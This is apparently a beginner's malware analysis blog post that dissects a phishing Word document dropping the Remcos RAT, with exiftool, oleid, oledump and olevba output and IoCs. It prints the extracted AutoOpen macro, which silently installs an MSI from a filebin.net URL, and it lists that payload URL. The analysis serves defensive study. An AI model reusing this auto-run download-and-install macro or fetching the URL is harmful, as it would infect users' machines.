

Analysis of MS Word to drop Remcos RAT

 [muha2xmad.github.io/mal-document/remcosdoc/](https://github.com/muha2xmad/mal-document/remcosdoc/)

May 5, 2022



Muhammad Hasan Ali

Malware Analysis learner

4 minute read

As-salamu Alaykum

Introduction

Remcos RATs are delivered by phishing campaigns in form of Excel file and Word file, our sample is word file. Which tries to trick the user to click `Enable content` which will load the Macro code and then load the next stage. We start our analysis using [REMnux](#). Download the sample from [MalwareBazaar](#)

About MS word

We will talk about basic structure of Word file. Microsoft suite comes in two two structures. Before `2007` , Microsoft used `structured storage format in binary` format which is old format `.doc` , `.xls` , `.ppt` such as from Word 97 (released in 1997) through Microsoft Office 2003. After 2007, Microsoft used `office open XML` format in Zip archive containing XML `.docx` . For more info see [here](#)

Metadata

using exiftool to extract metadata about the sample which we are analyzing and get more information about it such as `filesize` , `filetype` , `Language Code` , `Comp Obj User Type` which shows the edition of used Microsoft word, and `Template` . If there is `Normal.dotm` which is an indicator of Macro inside the Doc file.

```
exiftool  
3bd5892cdc82dc4576eaf2735edb57182ae8b91c8067be305d4e801197d390cc.doc
```

```

File Name          :
3bd5892cdc82dc4576eaf2735edb57182ae8b91c8067be305d4e801197d390cc.doc
Directory         : .
File Size         : 60 KiB
File Modification Date/Time : 2022:05:05 05:54:50-04:00
File Access Date/Time   : 2022:05:05 02:14:10-04:00
File Inode Change Date/Time : 2022:05:05 01:55:39-04:00
File Permissions     : rw-r--r--
File Type          : DOC
File Type Extension  : doc
MIME Type          : application/msword
Identification      : Word 8.0
Language Code       : English (US)
Doc Flags           : Has picture, 1Table, ExtChar
System              : Windows
Word 97             : No
Title               :
Subject             :
Author              :
Keywords            :
Comments            :
Template            : Normal.dotm
Last Modified By    :
Software            : Microsoft Office Word
Create Date         : 2022:04:20 02:06:00
Modify Date         : 2022:04:20 02:06:00
Security            : None
Code Page           : Windows Latin 1 (Western European)
Char Count With Spaces : 1
App Version         : 16.0000
Scale Crop          : No
Links Up To Date    : No
Shared Doc          : No
Hyperlinks Changed  : No
Title Of Parts      :
Heading Pairs       : Title, 1
Comp Obj User Type Len : 32
Comp Obj User Type  : Microsoft Word 97-2003 Document
Last Printed        : 0000:00:00 00:00:00
Revision Number     : 1
Total Edit Time     : 0
Words               : 0
Characters          : 1
Pages               : 1
Paragraphs          : 1
Lines               : 1

```

VBA extraction and analysis

Then we try to see if the Doc file has a Macros using `oleid` . If `VBA Macros` is set to `True` as we see in next figure, then yes it has Macros and the Macro is not encrypted.

```

remnux@remnux:~/lab/doc$ oleid 3
3bd5892cdc82dc4576eaf2735edb57182ae8b91c8067be305d4e801197d390cc.doc
3.vba
remnux@remnux:~/lab/doc$ oleid 3bd5892cdc82dc4576eaf2735edb57182ae8b91c8067be305d4e801197d390cc.doc
oleid 0.54 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

Filename: 3bd5892cdc82dc4576eaf2735edb57182ae8b91c8067be305d4e801197d390cc.doc
Indicator          Value
OLE format         True
Has SummaryInformation stream True
Application name   b'Microsoft Office Word'
Encrypted          False
Word Document      True
VBA Macros         True
Excel Workbook     False
PowerPoint Presentation False
Visio Drawing      False
ObjectPool         False
Flash objects      0

```

Figure(1): oleid output

Then we extract the We Then use `oledump.py` to see the content of the Doc file. The number on the left called `stream number` and `M` indicated that there is Macro and code.

```

remnux@remnux:~/lab/doc$ oledump.py 3bd5892cdc82dc4576eaf2735edb57182ae8b91c8067be305d4e801197d390cc.doc
1:      114  '\x01CompObj'
2:     4096  '\x05DocumentSummaryInformation'
3:     4096  '\x05SummaryInformation'
4:     7133  '1Table'
5:    32978  'Data'
6:      367  'Macros/PROJECT'
7:       41  'Macros/PROJECTwm'
8: M  1773  'Macros/VBA/ThisDocument'
9:    2435  'Macros/VBA/_VBA_PROJECT'
10:     513  'Macros/VBA/dir'
11:    4096  'WordDocument'

```

Figure(2): oledump.py output

We use `olevba` to extract Macros from the Doc file and analyze the `VBA` code. After extraction open the file in `VSCode` . We can use `oledump.py` to do this as well, but `olevba` summerize the important info for us.

```

olevba 3bd5892cdc82dc4576eaf2735edb57182ae8b91c8067be305d4e801197d390cc.doc
> vbacode.vba

```

The most important is the table which summerize the VBA code and extracts the important code such as `IoCs` and suspicious functions such as `AutoOpen()` .

```

vbcodex.vba x
home > remnux > lab > doc > vbcodex.vba
1  olevba 0.56.1 on Python 3.8.5 - http://decalage.info/python/oletools
2  =====
3  FILE: 3bd5892cdc82dc4576eaf2735edb57182ae8b91c8067be305d4e801197d390cc.doc
4  Type: OLE
5  -----
6  VBA MACRO ThisDocument.cls
7  in file: 3bd5892cdc82dc4576eaf2735edb57182ae8b91c8067be305d4e801197d390cc.doc - OLE stream: 'M
8  -----
9  Sub AutoOpen()
10 On Error Resume Next
11 Dim msi As Object
12 Set msi = CreateObject("WindowsInstaller.Installer")
13 msi.UILevel = 2
14 ' the second Property param may require some troubleshooting / testing https://docs.microsoft.
15 msi.InstallProduct "https://filebin.net/rf43v6qzghbj7h7b/TRY.msi", ""
16 End Sub
17
18 +-----+-----+-----+
19 |Type      |Keyword      |Description
20 +-----+-----+-----+
21 |AutoExec  |AutoOpen     |Runs when the Word document is opened
22 |Suspicious|CreateObject |May create an OLE object
23 |Suspicious|windows      |May enumerate application windows (if
24 |           |             |combined with Shell.Application object)
25 |IOC       |https://docs.microso|URL
26 |           |ft.com/en-us/windows|
27 |           |/win32/msi/action  |
28 |IOC       |https://filebin.net/|URL
29 |           |rf43v6qzghbj7h7b/TRY|
30 |           |.msi           |
31 |IOC       |TRY.msi      |Executable file name
32 +-----+-----+-----+
33
34

```

Figure(3): Extraction of the VBA code

But this is not enough. We will try to extract much info about the Doc by using `oledump.py` and extract the content of all the streams but if you want to short your time extract only the streams `9` and `10`.

```

oledump.py
3bd5892cdc82dc4576eaf2735edb57182ae8b91c8067be305d4e801197d390cc.doc -s 9 >
stream_9.vba

```

```

oledump.py
3bd5892cdc82dc4576eaf2735edb57182ae8b91c8067be305d4e801197d390cc.doc -s 10 >
stream_10.vba

```

Take your time to analyze the `ASCII` to extract more info from the next two figures. In this figure, stream 9 IoCs which enables the Doc to launch the VBA code.

```

C:\Program files\Common files\Microsoft shared\VBA\VBA7.1\VBE7.dll
C:\Windows\System32\stdole2.tlb
C:\Program files\Microsoft Office\root\Office1.6\MSWORD
ObjectLibrary
C:\Program files\Common files\Microsoft shared\OFFICE16\MSO.DLL
autoOpen
CreateObject
InstallProduct

```

```

stream_9.vba X
home > remnux > lab > doc > stream_9.vba
1 00000000: CC 61 B5 00 00 03 00 FF 09 04 00 00 09 04 00 00 .a.....
2 00000010: E4 04 03 00 00 00 00 00 00 00 00 00 01 00 05 00 .....
3 00000020: 02 00 20 01 2A 00 5C 00 47 00 7B 00 30 00 30 00 .. *.G.{.0.0.
4 00000030: 30 00 32 00 30 00 34 00 45 00 46 00 2D 00 30 00 0.2.0.4.E.F.-.0.
5 00000040: 30 00 30 00 30 00 2D 00 30 00 30 00 30 00 30 00 0.0.0.-.0.0.0.0.
6 00000050: 2D 00 43 00 30 00 30 00 30 00 2D 00 30 00 30 00 -.C.0.0.0.-.0.0.
7 00000060: 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 0.0.0.0.0.0.0.0.
8 00000070: 34 00 36 00 7D 00 23 00 34 00 2E 00 32 00 23 00 4.6.}.#.4...2.#.
9 00000080: 39 00 23 00 43 00 3A 00 5C 00 50 00 72 00 6F 00 9.#.C.:.\P.ro.
10 00000090: 67 00 72 00 61 00 6D 00 20 00 46 00 69 00 6C 00 g.r.a.m. .F.i.l.
11 000000A0: 65 00 73 00 5C 00 43 00 6F 00 6D 00 6D 00 6F 00 e.s.\C.o.m.m.o.
12 000000B0: 6E 00 20 00 46 00 69 00 6C 00 65 00 73 00 5C 00 n. .F.i.l.e.s.\
13 000000C0: 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 M.i.c.r.o.s.o.f.
14 000000D0: 74 00 20 00 53 00 68 00 61 00 72 00 65 00 64 00 t. .S.h.a.r.e.d.
15 000000E0: 5C 00 56 00 42 00 41 00 5C 00 56 00 42 00 41 00 \V.B.A.\V.B.A.
16 000000F0: 37 00 2E 00 31 00 5C 00 56 00 42 00 45 00 37 00 7..1.\V.B.E.7.
17 00000100: 2E 00 44 00 4C 00 4C 00 23 00 56 00 69 00 73 00 ..D.L.L.#.V.i.s.
18 00000110: 75 00 61 00 6C 00 20 00 42 00 61 00 73 00 69 00 u.a.l. .B.a.s.i.
19 00000120: 63 00 20 00 46 00 6F 00 72 00 20 00 41 00 70 00 c. .F.o.r. .A.p.
20 00000130: 70 00 6C 00 69 00 63 00 61 00 74 00 69 00 6F 00 p.l.i.c.a.t.i.o.
21 00000140: 6E 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 n.s.....
22 00000150: 1A 01 2A 00 5C 00 47 00 7B 00 30 00 30 00 30 00 .. *.G.{.0.0.0.
23 00000160: 32 00 30 00 39 00 30 00 35 00 2D 00 30 00 30 00 2.0.9.0.5.-.0.0.
24 00000170: 30 00 30 00 2D 00 30 00 30 00 30 00 30 00 2D 00 0.0.-.0.0.0.0.-.
25 00000180: 43 00 30 00 30 00 30 00 2D 00 30 00 30 00 30 00 C.0.0.0.-.0.0.0.
26 00000190: 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 0.0.0.0.0.0.0.4.
27 000001A0: 36 00 7D 00 23 00 38 00 2E 00 37 00 23 00 30 00 6.}.#.8...7.#.0.
28 000001B0: 23 00 43 00 3A 00 5C 00 50 00 72 00 6F 00 67 00 #.C.:.\P.ro.g.
29 000001C0: 72 00 61 00 6D 00 20 00 46 00 69 00 6C 00 65 00 r.a.m. .F.i.l.e.
30 000001D0: 73 00 5C 00 4D 00 69 00 63 00 72 00 6F 00 73 00 s.\M.i.c.r.o.s.
31 000001E0: 6F 00 66 00 74 00 20 00 4F 00 66 00 66 00 69 00 o.f.t. .O.f.f.i.
32 000001F0: 63 00 65 00 5C 00 72 00 6F 00 6F 00 74 00 5C 00 c.e.\r.o.o.t.\
33 00002000: 4F 00 66 00 66 00 69 00 63 00 65 00 31 00 36 00 O.f.f.i.c.e.l.6.
34 00002100: 5C 00 4D 00 53 00 57 00 4F 00 52 00 44 00 2E 00 \M.S.W.O.R.D...
35 00002200: 4F 00 4C 00 42 00 23 00 4D 00 69 00 63 00 72 00 O.L.B.#.M.i.c.r.

```

Figure(4): Analysis of the VBA code of stream 9

And in stream 10 which has less loCs than stream 9 .

```

C:\Windows\System32\stdole2.tlb
C:\Program files\Common files\Microsoft shared\OFFICE1.6\MSO.DLL

```

```

stream_9.vba  stream_10.vba X
home > remnux > lab > doc > stream_10.vba
1  00000000: 01 FD B1 80 01 00 04 00 00 00 03 00 30 2A 02 02 .....0*..
2  00000010: 90 09 00 70 14 06 48 03 00 82 02 00 64 E4 04 04 ...p..H....d...
3  00000020: 00 07 00 1C 00 50 72 6F 6A 65 63 74 05 51 00 28 ....Project.Q.(
4  00000030: 00 00 40 02 14 06 02 14 3D AD 02 0A 07 02 6C 01 ..@....=.....l.
5  00000040: 14 08 06 12 09 02 12 80 75 61 5C 64 0B 00 0C 02 .....ua\d....
6  00000050: 4A 12 3C 02 0A 16 00 01 72 73 74 64 10 6F 6C 65 J.<....rstd.ole
7  00000060: 3E 02 19 73 00 74 00 00 64 00 6F 00 6C 00 65 50 >..s.t..d.o.l.eP
8  00000070: 00 0D 00 68 00 25 5E 00 03 2A 00 5C 47 7B 30 30 ...h.%^..*\G{00
9  00000080: 30 32 30 B0 34 33 30 2D 00 08 04 04 43 00 0A 03 020.430-....C...
10 00000090: 02 0E 01 12 30 30 34 36 7D 23 00 32 2E 30 23 30 ...0046}#.2.0#0
11 000000A0: 23 43 3A 00 5C 57 69 6E 64 6F 77 73 00 5C 53 79 #C:.\Windows.\Sy
12 000000B0: 73 74 65 6D 33 04 32 5C 03 65 32 2E 74 6C 62 00 stem3.2\..e2.tlb.
13 000000C0: 23 4F 4C 45 20 41 75 74 80 6F 6D 61 74 69 6F 6E #OLE Automation
14 000000D0: 00 60 03 00 02 83 45 4E 6F 72 6D 61 6C 05 83 45 ..ENormal..E
15 000000E0: 4E 80 43 72 00 6D 00 61 51 80 46 0E 00 20 80 11 N.Cr.m.a.Q.F. . .
16 000000F0: 09 80 01 2A 2C 5C 43 03 12 0A 06 72 80 6D 08 00 ...*,\C....r.m..
17 00000100: 41 83 21 4F 66 66 69 63 84 67 4F 44 00 66 80 00 A.!Offic.gOD.f..
18 00000110: 69 00 63 82 67 9E 05 80 1F 94 82 21 47 7B 32 44 i.c.g.....!G{2D
19 00000120: 46 00 38 44 30 34 43 2D 35 42 00 46 41 2D 31 30 F.8D04C-5B.FA-10
20 00000130: 31 42 2D 90 42 44 45 35 80 67 41 41 80 65 1A 34 1B-.BDE5.gAA.e.4
21 00000140: 80 05 32 88 67 80 BA 67 72 61 00 6D 20 46 69 6C ..2.g..gram Fil
22 00000150: 65 73 5C 40 43 6F 6D 6D 6F 6E 04 06 4D 00 69 63 es\@Common..Mic
23 00000160: 72 6F 73 6F 66 74 00 20 53 68 61 72 65 64 5C 00 rosoft. Shared\
24 00000170: 4F 46 46 49 43 45 31 36 00 5C 4D 53 4F 2E 44 4C OFFICE16.\MSO.DL
25 00000180: 4C 06 23 87 10 83 4D 20 31 36 2E 30 08 20 4F 62 L.#,..M 16.0. Ob
26 00000190: 81 E3 20 4C 69 62 B0 72 61 72 79 80 25 80 00 0F .. Library.%...
27 000001A0: 82 7A 88 01 00 13 C2 01 BF 6B 19 42 65 00 54 68 .z.....k.Be.Th
28 000001B0: 69 73 44 6F 63 75 80 6D 65 6E 74 47 00 18 C0 09 isDocu.mentG....
29 000001C0: 82 54 C0 66 69 00 73 00 44 C0 48 88 63 00 75 40 .T.fi.s.D.H.c.u@
30 000001D0: 49 65 00 6E C0 6E 2A 1A CE 0B 32 DA 0B 1C C0 12 Ie.n.n*...2.....
31 000001E0: 00 00 AA 48 42 01 31 42 89 11 00 96 1E 42 02 45 ...HB.1B....B.E
32 000001F0: 01 05 2C C2 21 0F 39 22 42 08 2B 05 42 01 10 42 ...!.9"B.+B..B
33 0000200: 01
34

```

Figure(5): Analysis of the VBA code of stream 10

For more info you can use [lazy office analyzer](#) tool in Windows or open the malicious word and see the Macro inside the Microsoft word application. I tried to use it but in this sample gives no info.

IoCs

No.	Description	Hash and URLs
1	The Mal DOC file (MD5)	090e1dfdcbf2185788ea14cd113cc39f
3	URL	https://filebin.net/rf43v6qzghbj7h7b/TRY.msi

Article quote

من يحمل قنديله في صدره لا يُعنيه ظلام العالمين